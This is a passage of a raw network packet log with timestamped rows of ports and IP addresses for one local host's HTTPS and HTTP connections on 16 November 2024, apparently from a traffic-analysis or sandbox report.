Nov 16, 2024 19:22:16.175513029 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:16.176642895 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:16.176727057 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:16.176784039 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:16.956950903 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.957042933 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.963596106 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.963639975 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.963974953 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.966444969 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:17.007354021 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:17.048867941 CET	80	49729	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:17.049030066 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:17.207997084 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:17.208156109 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:17.208723068 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:17.426665068 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:17.426665068 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:17.426763058 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:17.426793098 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:17.441529989 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:17.446674109 CET	80	49729	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:17.553473949 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:18.219615936 CET	80	49729	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:18.219685078 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:19.266426086 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:19.266510010 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:19.266606092 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:19.267508984 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:19.267544031 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:20.399111986 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:20.399214983 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:20.553926945 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:20.553980112 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:20.555057049 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:20.598906994 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:21.188482046 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:21.188504934 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:21.188566923 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:21.188796043 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:21.188826084 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:21.753655910 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:21.753730059 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:21.753937960 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:21.760369062 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:21.760421991 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.286101103 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.414947033 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.527527094 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.527570963 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.531236887 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.531271935 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.531301022 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.537446976 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.537522078 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.546228886 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.546417952 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.548413038 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.548422098 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.563446045 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.563462973 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.563859940 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.578757048 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.607212067 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.619330883 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.635087013 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:22.655524015 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:22.655543089 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:22.655628920 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:22.657248974 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:22.657259941 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:22.679335117 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:22.784089088 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.784116983 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.784146070 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.784184933 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.784209967 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.784225941 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.784252882 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.786827087 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.794171095 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.794286013 CET	443	49738	94.245.104.56	192.168.2.5
Nov 16, 2024 19:22:22.794648886 CET	49738	443	192.168.2.5	94.245.104.56
Nov 16, 2024 19:22:22.837618113 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.837645054 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.837692976 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.837726116 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.837755919 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.837779999 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.908418894 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.908443928 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.908489943 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.908519983 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.908540010 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.908556938 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.960614920 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.960637093 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.960727930 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.960741043 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.960768938 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.960788012 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.962256908 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.962281942 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.962326050 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.962335110 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:22.962361097 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:22.962377071 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.005074978 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.005096912 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.005148888 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.005171061 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.005194902 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.005204916 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.014377117 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.014437914 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.014461040 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.014538050 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.014538050 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.014594078 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.014651060 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.014662981 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.014671087 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.014693975 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.014718056 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.014745951 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.014794111 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.014825106 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.032252073 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.032274961 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.032319069 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.032329082 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.032354116 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.032377005 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.212351084 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.303961992 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.303986073 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304030895 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304052114 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304116011 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304137945 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304188967 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304323912 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304367065 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304392099 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304419994 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304424047 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304474115 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304603100 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304646969 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304732084 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304747105 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304828882 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.304919004 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304975986 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.304996014 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.305010080 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.305041075 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.305063009 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.305185080 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.305241108 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.305274010 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.305286884 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.305311918 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.305386066 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.305421114 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.305512905 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.305587053 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.305628061 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.305682898 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.305701971 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.383716106 CET	80	49729	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:23.383809090 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:23.386116028 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.418414116 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.418453932 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.751358032 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:23.751429081 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:23.765336990 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:23.765382051 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:23.765539885 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:23.765974998 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:23.765990973 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:23.887355089 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.887362957 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.887466908 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.891537905 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.891545057 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.891599894 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.893034935 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.893125057 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.893224955 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.894078016 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.894089937 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.894140005 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.897974014 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.897998095 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.898022890 CET	49731	443	192.168.2.5	4.175.87.197
Nov 16, 2024 19:22:23.898039103 CET	443	49731	4.175.87.197	192.168.2.5
Nov 16, 2024 19:22:23.898969889 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.898983955 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.899178982 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.899219990 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.899262905 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.899276972 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.899465084 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.899476051 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.900285006 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.900306940 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.900393963 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.900522947 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:23.900543928 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:23.908106089 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:23.908123970 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:23.908190012 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:23.908720970 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:23.908739090 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:23.913666964 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:23.914530993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:23.918745041 CET	80	49729	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:23.919626951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:23.919723034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:23.920675039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:23.920727968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:23.925513983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:23.925549030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:23.925663948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:23.925678015 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:24.422274113 CET	49703	443	192.168.2.5	23.1.237.91
Nov 16, 2024 19:22:24.765137911 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:24.773475885 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:24.877721071 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:24.880388975 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:24.880491018 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:24.886595964 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:24.897842884 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:24.975374937 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:24.975452900 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.006198883 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.006227970 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.006228924 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.084404945 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.109241009 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:25.109267950 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:25.109672070 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.109677076 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.110327959 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:25.110337019 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:25.110384941 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:25.111387968 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.111434937 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.111447096 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.111466885 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.111507893 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.111541033 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.113967896 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.117788076 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.134514093 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:25.134579897 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:25.136832952 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.137325048 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.139935970 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.139941931 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.148992062 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.149008989 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.151351929 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.151359081 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.151931047 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.151945114 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.152299881 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.152304888 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.152561903 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.152573109 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.152944088 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.152949095 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.153290033 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.153323889 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.154366016 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.154376984 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.158705950 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.158720970 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.159131050 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.159136057 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.174293041 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.174321890 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.175163984 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.181745052 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.181914091 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.181966066 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.184431076 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:25.184448004 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:25.200557947 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.295506001 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.295557976 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.295734882 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.295736074 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.295789003 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.295928001 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.295936108 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.295967102 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.295975924 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.296571016 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:25.299151897 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.299173117 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.299343109 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.299518108 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.299527884 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300088882 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300173044 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300252914 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.300295115 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.300322056 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300338030 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.300344944 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300427914 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300554037 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300611019 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.300678968 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.300678968 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.300712109 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.300739050 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.303143978 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.303240061 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.303308964 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.303505898 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.303523064 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.303529024 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.303555965 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.303647995 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.303731918 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.303744078 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.305052996 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.305067062 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.305104971 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.305130005 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.305151939 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.305223942 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.305223942 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.305233002 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.305239916 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.306884050 CET	49781	443	192.168.2.5	13.107.246.45
